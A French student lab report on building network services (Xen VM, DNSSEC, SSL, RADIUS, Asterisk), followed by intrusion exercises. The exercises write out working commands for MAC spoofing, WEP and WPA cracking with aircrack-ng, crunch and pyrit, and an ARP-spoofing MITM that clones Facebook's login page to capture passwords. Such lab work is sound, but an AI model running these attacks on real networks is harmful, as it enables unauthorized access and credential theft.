Installation d'une nouvelle carte graphique
Comme une nouvelle carte graphique a été reçue (une Nvidia Quadro M1000), nous avons re-démonté le PC afin de l'installer. Nous avons alors refixé les caloducs et changé la pâte thermique du processeur et de la carte graphique.
Une fois le PC remonté, nous avons téléchargé le pilote Nvidia officiel, puis nous l'avons installé. Après un reboot de la machine, nous avons pu constater que la carte graphique était bien fonctionnelle.
Services internet
Création de la machine virtuelle
Nous avons tout d'abord créé une machine virtuelle sur le dom0 du serveur cordouan.insecserv.deule.net. Pour celà nous nous somme connectés en ssh :
ssh root@cordouan.insecserv.deule.net
Puis nous avons créé la VM avec les paramètres suivants :
xen-create-image --hostname=DELIRIUM --dist=jessie --dir=/usr/local/xen --gateway=193.48.57.174 --ip=193.48.57.170
Nous avons ensuite modifié le fichier DELIRIUM.cfg de manière à augmenter la mémoire de notre machine virtuelle à 512MB puis lancé la VM avec la commande suivante :
xl create /etc/xen/DELIRIUM.cfg
Une fois la machine virtuelle démarrée nous avons pu nous y connecter grâce à la commande :
xl console DELIRIUM
Préparation de la machine
Pour réaliser le TP nous avions besoin d'installer les paquets ssh, apache2 et bind9.
Après avoir modifié le fichier /etc/ssh/sshd_config de manière à pouvoir se connecter directement en tant que root via le ssh nous avons lancé Apache de manière à ce qu'il fasse tourner un site internet basique. A cette étape, le site était alors accessible via son adresse ip : 193.48.57.170
Création du serveur DNS / Sécurisation par DNSSEC
Nous sommes tout d'abord allés sur gandi.net et nous avons choisi le nom de domaine delirium.lol, qui incluait également un certificat ssl. Une fois le nom de domaine livré, nous sommes allés sur la page de configuration et avons choisi notre serveur comme DNS principal. Nous avons également modifié les glue records afin que ns.delirium.lol soit associé à l'adresse 193.48.57.170.
Une fois cette étape faite, nous avons configuré bind de manière à rendre notre serveur fonctionnel.
Nous commençons par ajouter l'option dnssec-enable yes; dans le fichier named.conf.options.
Nous avons ensuite modifié le fichier named.conf.local de manière à y ajouter notre zone :
zone "delirium.lol" {
type master;
file "/etc/bind/zones/delirium.lol.db";
allow-transfer { 217.70.177.40; };
notify yes;
};
Puis nous générons les clés publiques et privées ksk et zsk dans le dossier /etc/bind/delirium.lol.dnssec/ comme suit :
$ dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE delirium.lol $ dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE delirium.lol
Nous renommons les clés de manière à obtenir ceci :
-rw-r--r-- 1 root bind 606 Jan 17 17:11 delirium.lol-ksk.key -rw------- 1 root bind 1774 Jan 17 17:11 delirium.lol-ksk.private -rw-r--r-- 1 root bind 433 Jan 17 17:18 delirium.lol-zsk.key -rw------- 1 root bind 1010 Jan 17 17:12 delirium.lol-zsk.private
Nous avons alors créé notre fichier de zone /etc/bind/zones/delirium.lol.db de manière à ce que toutes les redirections se fassent correctement,
puis nous y incluons les clés publiques en n'oubliant pas d'incrémenter le numéro de version de la zone (Serial, de la forme AAAAMMJJXX avec XX l'indice de la version pour le jour correspondant) :
$TTL 60480
@ IN SOA ns.delirium.lol. root.delirium.lol. (
2016011706 ; Serial
86400 ; Refresh
3600 ; Retry
2419200 ; Expire
86400 ) ; Negative Cache TTL
$include /etc/bind/delirium.lol.dnssec/delirium.lol-ksk.key
$include /etc/bind/delirium.lol.dnssec/delirium.lol-zsk.key
@ IN NS ns.delirium.lol.
@ IN NS ns6.gandi.net.
ns IN A 193.48.57.170
www IN A 193.48.57.170
god IN A 193.48.57.170
@ IN A 193.48.57.170
Ainsi que notre fichier de reverse DNS /etc/bind/zones/57.48.193in-addr.arpa :
$TTL 604800
@ IN SOA ns.delirium.lol. root.delirium.lol. (
2016011706 ;serial
14400 ;refresh
3600 ;retry
604800 ;expire
10800 ;minimum
)
57.48.193.in-addr.arpa. IN NS ns.delirium.lol.
57.48.193.in-addr.arpa. IN NS ns6.gandi.net.
170 IN PTR delirium.lol.
Dans le fichier resolv.conf, nous avons ajouté l'adresse de notre serveur DNS, ainsi que celle du DNS secondaire appartenant à Gandi :
search delirium.lol
nameserver 193.48.57.170
nameserver 217.70.177.40
On se place dans le dossier /etc/bind/, puis on signe les enregistrements de la zone :
$ dnssec-signzone -o delirium.lol -k delirium.lol.dnssec/delirium.lol-ksk zones/delirium.lol.db delirium.lol.dnssec/delirium.lol-zsk
Puis on modifie le fichier named.conf.local de manière à utiliser la zone signée de suffixe .signed :
zone "delirium.lol" {
type master;
file "/etc/bind/zones/delirium.lol.db.signed";
allow-transfer { 217.70.177.40; };
notify yes;
};
Une fois ces opérations effectuées nous avons redémarré notre serveur DNS :
/etc/init.d/bind9 restart
Il ne reste plus qu'à communiquer la partie publique de la KSK et de la ZSK (présentes dans les fichiers delirium.lol-ksk.key delirium.lol-zsk.key) à notre registrar sur gandi.net dans la section "gérer DNSSEC".
Nous avons alors pu tester la sécurisation de notre DNS et nous avons constaté que cela fonctionne bien.
Sécurisation du site par certificat
La première étape a été de générer les fichiers delirium.lol.csr et delirium.lol.key avec la commande :
openssl req -new -newkey rsa:2048 -sha256 -nodes -out delirium.lol.csr -keyout delirium.lol.key -subj '/C=FR/CN=delirium.lol'
Une fois ces fichiers générés, nous avons attendu de recevoir le certificat delirium.lol.crt à l'adresse admin@delirium.lol précédemment créée. Nous avons également récupéré le certificat intermédiaire GandiStandardSSLCA2.pem sur le site gandi.net. Une fois tous les certificats récupérés sur notre serveur, nous avons pu commencer la sécurisation d'Apache.
Dans un premier temps nous avons modifié le fichier /etc/apache2/ports.conf pour y ajouter la ligne Listen 443. Cela permet à Apache d'écouter les connexions sur le port 443 utilisé par le https. Nous avons ensuite copié les certificats .crt et .pem dans le dossier /etc/ssl/certs/ et la clé .key dans /etc/ssl/private/.
Nous avons ensuite rehash la structure à l'aide de la commande :
c_rehash /etc/ssl/certs
Nous avons alors pu créer un site dédié /etc/apache2/sites-available/000-delirium.lol-ssl et nous l'avons configuré pour qu'il utilise les certificats précédemment obtenus. Nous avons alors activé le site sécurisé avec la commande :
a2ensite 000-domain.tld-ssl
On a alors redémarré Apache pour que ces configurations soient prises en compte. Nous avons alors pu constater que nous accédions bien à notre site à l'adresse https://delirium.lol
Sécurisation Wifi par WPA2-EAP
Le but de cette partie est de faire en sorte que l'accès à la borne Wifi soit controlé par WPA2-EAP, en utilisant le serveur Freeradius.
Nous commençons d'abord par configurer notre serveur Freeradius de la manière suivante :
Fichier eap.conf
Ajout de
default_eap_type = peap
Fichier clients.conf
Ajout de
client 10.10.10.2 {
# secret and password are mapped through the "secrets" file.
secret = ****
shortname = cl2
# the following three fields are optional, but may be used by
# checkrad.pl for simultaneous usage checks
nastype = livingston
login = root
password = ****
}
client 10.10.10.1 {
# secret and password are mapped through the "secrets" file.
secret = ****
shortname = cl1
# the following three fields are optional, but may be used by
# checkrad.pl for simultaneous usage checks
nastype = livingston
login = root
password = ****
}
Configuration du serveur Freeradius en DHCP
Nous avons souhaité nous connecter à notre SSID via notre smartphone. Or, il est préférable d'établir une connexion en DHCP. C'est pourquoi nous allons configurer Freeradius pour autoriser les connections DHCP.
Nous commençons par installer isc-dhcp-server
apt-get install isc-dhcp-server
On modifie ensuite le fichier /etc/dhcp/dhcpd.conf :
On va assigner aléatoirement une adresse IP en suivant ces instructions :
subnet 172.20.20.0 netmask 255.255.255.0 {
range 172.20.20.10 172.20.20.100;
range 172.20.20.150 172.20.20.200;
}
subnet 172.20.20.0 netmask 255.255.255.0 {
range dynamic-bootp 172.20.20.100 172.20.20.200;
option broadcast-address 172.20.20.254;
option routers 172.20.20.2;
}
On modifie également :
option domain-name "delirium.lol"; option domain-name-servers 193.48.57.48;
Etant donné que nous avons réalisé ces configurations directement sur la VM, il a fallu finalement écrire dans /etc/dhcp/dhcp.conf :
shared-network local {
subnet 193.48.57.160 netmask 255.255.255.240 {
}
subnet 172.20.20.0 netmask 255.255.255.0 {
range dynamic-bootp 172.20.20.100 172.20.20.200;
option broadcast-address 172.20.20.254;
option routers 172.20.20.0;
}
}
Nous rebootons le serveur avec les commandes
$ /etc/init.d/isc-dhcp-server stop $ /etc/init.d/isc-dhcp-server start
La sortie est :
[ ok ] Starting isc-dhcp-server (via systemctl): isc-dhcp-server.service.
Reste ensuite à configurer le routeur situé à l'adresse 10.10.10.252 :
Une fois connecté dessus, dans la config du vlan 20 (notre vlan), on entre la ligne suivante :
Router(config-if)# ip helper-address 10.1.1.1 redundancy vrg1
Nous parvenons à présent à nous connecter sur notre AP ssid_Delirium, mais sans accès internet.
Configuration d'un PCBX
On a dans un premier temps installé le logiciel Asterisk sur un ordi perso que nous avons ensuite connecté à notre réseau wifi "SSID_Delirium". On a alors modifié le fichier /etc/asterisk/sip.conf pour y ajouter la configuration suivante :
[general] hasvoicemail = yes hassip = yes hasiax = yes callwaiting = yes threewaycalling = yes callwaitingcallerid = yes transfer = yes canpark = yes cancallforward = yes callreturn = yes callgroup = 1 pickupgroup = 1 nat = yes [1001] type=peer host=dynamic dtmfmode=rfc2833 disallow=all allow=ulaw fullname = mrcoincoin username = mrcoincoin secret = canard context = work [1002] type=peer host=dynamic dtmfmode=rfc2833 disallow=all allow=ulaw fullname = mrmiaou username = mrmiaou secret = chat context = work
On a ensuite ajouté dans le fichier /etc/asterisk/extensions.conf les lignes suivantes :
[work]
exten => _1XXX,1,Dial(SIP/${EXTEN},20)
exten => _1XXX,2,Hangup()
On télécharge alors l'application CSipSimple pour Android, puis nous connectons les deux téléphones à notre réseau wifi. On configure alors les comptes utilisateur sur chaque téléphone, et on y ajoute l'adresse IP de notre serveur asterisk (ici un PC perso). On a alors réussi à établir une communication VoIP fonctionnelle sur les téléphones.
Tests d'intrusion
Cryptage de carte SD
Nous avons dans un premier temps récupéré une carte SD et nous l'avons formatté au format FAT32 à l'aide de gparted. Notre carte est donc /dev/mmcblk0p et nous avons donné le nom "tamerlashov" à la partition crée. Nous pouvons alors créer une partition cryptée grâce à la commande :
cryptsetup luksFormat -c aes -h sha256 /dev/mmcblk0p1
Elle est donc encrypté AES SHA-256. Si on le souhaite, on peut afficher ses informations avec la commande :
cryptsetup luksDump /dev/mmcblk0p1
On ouvre ensuite notre partition encryptée en tappant :
cryptsetup luksOpen /dev/mmcblk0p1 tamerlashov
On ajoute alors un système de fichiers à notre partition encryptée avec :
mkfs.ext3 /dev/mapper/tamerlashov
Une fois cette opération effectuée, il est possible de monter la partition pour pouvoir écrire dedans, et de la démonter lorsque tous nos fichier ont été copiés.
mount -t ext3 /dev/mapper/tamerlashov /mnt/ ... umount /mnt/
Pour la ré-encrypter, on utilise alors la commande :
cryptsetup luksClose tamerlashov
Si on veut par la suite accéder au contenu de la carte, il faudra la désencrypter puis la monter, et si on souhaite la re-sécuriser il faudra la ré-encrypter après l'avoir démontée.
Changement d'adresse MAC
L'objectif de cette partie est de réussir à se connecter au réseau wifi nommé "baguette". Ce réseau n'a pas de mot de passe mais est protégé grâce à un filtrage d'adresse MAC.
Nous avons dans un premier temps essayé de nous connecter directement. On a alors constaté que la connexion était refusée. Pour arriver à nous connecter, nous avons alors changé l'adresse MAC de notre carte WiFi avec ces commandes :
ifconfig wlan3 down
ifconfig wlan3 hw ether 00:15:af:e7:19:f3
ifconfig wlan3 up
Une fois l'adresse changée nous avons pu nous connecter facilement au réseau.
Cassage de clé WEP
L'objectif de cette partie est d'arriver à se connecter à un réseau wifi protégé par une clé WEP. Nous avons choisi d'attaquer le réseau "levrette". Dans un premier temps nous avons téléchargé et installé le paquetage aircrack-ng. Nous avons ensuite branché une clé wifi en usb sur l'ordinateur et nous avons passé cette clé en mode monitoring avec la commande
airmon-ng start wlan3
Cela nous a permis de pouvoir regarder tout le trafic réseau et les points d'accès aux alentours à l'aide de la commande :
airodump-ng wlan3
Une fois notre réseau repéré, nous avons fait en sorte de n'observer que lui avec :
airodump-ng -w out -c 6 --bssid 00:40:F4:95:27:55 wlan3
- L'option -w permet de préciser que les paquets récupérés seront stockés dans un fichier nommé out
- L'option -c permet de préciser que le canal du réseau est le 6
- L'option --bssid nous permet d'observer que le réseau wifi donc l'adresse mac est 00:40:F4:95:27:55
On a alors démarré aireplay-ng de manière à faire une fake authentification sur le réseau wifi :
aireplay-ng -1 30 -a 00:40:F4:95:27:55 --ignore-negative-one wlan3
Cela permet d'associer notre carte WiFi au point d'accès. Si tout se passe correctement on devrait avoir ce message :
Sending Authentication Request (Open System) [ACK]
Authentication successful
Sending Association Request [ACK]
Association successful :-) (AID: 1)
On peut alors commencer l'injection d'ARP avec la commande :
aireplay-ng -3 -x 600 -b 00:40:F4:95:27:55 --ignore-negative-one wlan3
Cette commande permet d'injecter jusqu'à 600 paquets ARP par seconde au point d'accès (option -x 600). Comme nous avions précédemment récupéré le trafic sur le réseau à l'aide d'airodump-ng, tous les paquets sont stockés dans les fichiers out.
On peut alors lancer aircrack-ng de la manière suivante :
aircrack-ng out-01.cap
Suivant le nombre de paquets reçus, l'attaque a plus ou moins de chances de réussir. Dans notre cas l'attaque a réussi à partir de 20000IVs.
Cassage de clé WPA
Méthode n°1
L'objectif de cette partie est de craquer une clé d'un réseau wifi protégé en WPA2. Nous allons donc attaquer le réseau "cracotte10".
Dans un premier temps nous avons passé la carte wifi d'un EeePC en mode monitoring avec la commande :
airmon-ng start wlan0
Nous avons ensuite relevé l'adresse MAC du réseau que nous voulions attaquer pour faire en sorte de ne monitorer que lui, et écrire le résultat de l'attaque dans un fichier avec l'option -w. Nous avons ensuite lancé une désauthentification avec la commande :
aireplay-ng -0 5 -a 04:DA:D2:9C:50:59 -c 00:0F:B5:92:24:51 mon0
Le client connecté va alors être déconnecté et va tenter de se ré-authentifier automatiquement. L'attaque aireplay-ng permet donc de récupérer le handshake lors de la reconnexion. Nous avons alors transféré les fichiers générés sur une zabeth où nous avions préalablement installé aircrack-ng.
L'étape finale est alors de bruteforce le mot de passe. Dans un premier temps nous avons généré un dictionnaire de mot de passe à l'aide de crunch :
crunch 8 8 0123456789 > dico.txt
Ce dictionnaire comporte tous les mots de passe de 8 caractères contenant uniquement des chiffres. Nous avons ensuite lancé l'attaque sur le fichier .cap en prenant comme paramètre le dictionnaire que nous avons généré.
aircrack-ng *.cap -w dico.txt
Au bout de 57 minutes le bruteforce a enfin aboutit et nous avons trouvé le mot de passe qui est : 12399910
Méthode n°2
Nous avons récupéré un fichier .cap, cette fois ci du réseau cracotte01, de la même manière que pour la méthode 1. Cependant, pour accélérer le crack, nous avons utilisé un PC personnel ayant une carte graphique Nvidia (GTX 970m) et équipé du logiciel pyrit, cowpatty ainsi que des outils Nvidia CUDA. Pyrit, utilisant ces outils, permet d'utiliser la carte graphique de l'odinateur en plus du processeur pour générer les hashs du dictionnaire contenant les mots de passe. Cowpatty est quand à lui un logiciel permettant de craquer des clés WPA, mais qui contrairement à aircrack-ng peut prendre des hashs en entrée plutot qu'un dictionnaire en texte clair.
Nous avons alors pipe le dictionnaire dans pyrit qui dirigait les hash directement en entrée de cowpatty et attendu que le crack de déroule :
crunch 8 8 0123456789 | optirun pyrit -e cracotte01 -i - -o - passthrough | cowpatty -d - -s cracotte01 -r *.cap
Au bout de 242s nous avons alors trouvé la clé WPA du réseau.
Grâce à l'utilisation de la carte graphique, cette méthode est beaucoup plus rapide!
Attaque MITM
Le principe est le suivant :
Le hackeur vas rediriger le traffic de la victime vers son propre proxy. Cela lui permettra d'intercepter les requêtes vers fr-fr.facebook.com pour les rediriger vers sa propre page "facebook". Cette page sera modifiée de manière à envoyer les données rentrée par la victime non pas en https, mais en http. Cela permet ainsi de pouvoir voir les login et mots de passe en clair. Toutes les autres pages seront juste redirigées de manière transparente pour que la victime ne se doute pas de l'attaque.
La première étape est d'installer et configurer Squid3, le proxy que nous allons utiliser. Nous le configurons le fichier /etc/squid3/squid.conf de la manière suivante :
acl allowedips src 192.168.1.0/24 # ip ou range d'ip à attaquer http_access allow allowedips forwarded_for off # Masque notre ip dans le header HTTP http_access deny all # Empeche les personnes extérieures d'accéder à notre proxy cache_access_log /var/log/squid3/access.log cache_log /var/log/squid3/cache.log cache_store_log /var/log/squid3/store.log cache_dir ufs /var/spool/squid3 100 16 256 cache_mem 16 MB maximum_object_size 15 MB http_port 3129 transparent # Pour rendre le proxy transparent cache_effective_group root url_rewrite_program /usr/bin/squidGuard # Intégration de SquidGuard
Nous installons ensuite squidGuard, qui nous permettra de créer des règles de redirections plus fines. En l'occurence rediriger seulement les requêtes vers la page fr-fr.facebook.com. Nous le configurons de la manière suivante :
dbhome /usr/local/squidGuard/db
logdir /usr/local/squidGuard/logs
dest fb-login {
urllist facebook/url
}
acl {
default {
pass !fb-login all
redirect http://127.0.0.1/
}
}
Cela nous permet de rediriger les pages contenues dans le fichier /usr/local/squidGuard/db/facebook/url (ici, fr-fr.facebook.com) vers notre serveur local. On s'occupe alors de générer la base de donnée de squidGuard, puis de lancer squid3 :
squidGuard -C all service squid3 start
Si on veut vérifier qu'il n'y a pas d'erreurs on peut vérifier les logs :
cat /usr/local/squidGuard/logs/squidGuard.log
Il faut alors configurer les iptables pour gérer la redirection du trafic :
echo 1 > /proc/sys/net/ipv4/ip_forward # Autorise le forwarding ipv4 iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP # Bloque les ICMP 5 envoyés à notre serveur (permet de dissimuler sa présence) iptables -t nat -A PREROUTING -s <ip du serveur squid3> -p tcp --dport 80 -j ACCEPT # Accepter le trafic entrant sur le serveur Squid3 vers le port 80 sans le rediriger iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3129 # Redirige le trafic des autres IP à destination d'un port 80 vers le port 3129 de Squid3 iptables -t nat -A POSTROUTING -j MASQUERADE # Remplace l'ip de la cible avec notre propre ip iptables -t mangle -A PREROUTING -p tcp --dport 3129 -j DROP # Bloque le trafic direct vers le port du serveur Squid3
Une fois ces règles mises en place, on peut spoofer la table ARP de notre victime avec la commande :
arpspoof -i <eth0 -t <ip de la cible> <ip du gateway>
arpspoof permet alors de faire en sorte que le traffic sortant de la victime passe par notre ordinateur plutôt que par le gateway. On le laisse tourner pendant tout le temps de l'attaque, c'est à dire jusqu'à ce qu'on ait récupéré l'identifiant et mot de passe de la cible.
Cependant pour que la victime ne remarque rien, il faut faire en sorte de récupérer la page d'accueil facebook pour la mettre sur notre serveur apache2. On se positionne donc dans le dossier /var/www/html/ et on exécute la commande suivante pour récupérer la page d'accueil :
wget http://fr-fr.facebook.com/
Une fois cette page récupérée, on modifie alors l'adresse de la requête envoyée pour le login de manière à ce qu'elle soit envoyée non pas en https, mais en http. Cependant après avoir essayé cette méthode on s'aperçoit qu'un script en javascript fait en sorte que la requête se fasse en https malgré qu'on ait changé l'adresse. Il faut alors procéder différement pour arriver à notre fin.
